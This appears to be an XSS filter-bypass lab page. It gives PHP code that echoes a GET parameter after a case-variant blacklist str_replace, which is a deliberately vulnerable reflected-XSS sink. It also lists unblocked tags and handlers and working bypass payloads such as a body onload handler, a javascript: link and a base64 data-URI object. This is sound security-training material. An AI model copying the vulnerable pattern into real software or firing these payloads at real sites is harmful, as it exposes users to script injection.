Lab: Ultimate Filter Bypass Challenge
This is the ultimate XSS filter challenge! The filter now blocks 12 case variations of 'script' plus 'img', 'image', 'svg', and 'audio' tags.
str_replace(array('script','Script','sCript',...,'audio'), '', $_GET['fname'])
Objective: Bypass the ultimate filter and execute a JavaScript alert.
Note: Only the First Name field is filtered and displayed. The Last Name field is unfiltered but not used in output.
if(isset($_GET["fname"]) && isset($_GET["lname"])){
$arr = array('script','Script','sCript','scRipt',
'scrIpt','scriPt','scripT','SCript',
'SCRipt','SCRIpt','SCRIPt','SCRIPT',
'img','image','svg','audio');
$re = str_replace($arr, '', $_GET['fname']);
echo $re;
}
body, iframe, object, embed, link, meta, base, form, input, button, select, textarea, video (not blocked), source, trackonmouseover, onfocus, onload, onerror, onclick, ondblclick, onkeydown, onkeypress, onkeyup, onmousedown, onmouseup, onmouseenter, onmouseleave, onmousewheel, onscroll, onresize<body onload=alert(1)><a href="javascript:alert(1)">click</a><object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">style attributes with expression() or other CSS injection in supported browsers<template> tags with event handlersThis represents the pinnacle of blacklist filter challenges:
Successfully bypassing this filter demonstrates:
You've reached the final challenge in the XSS filter bypass series!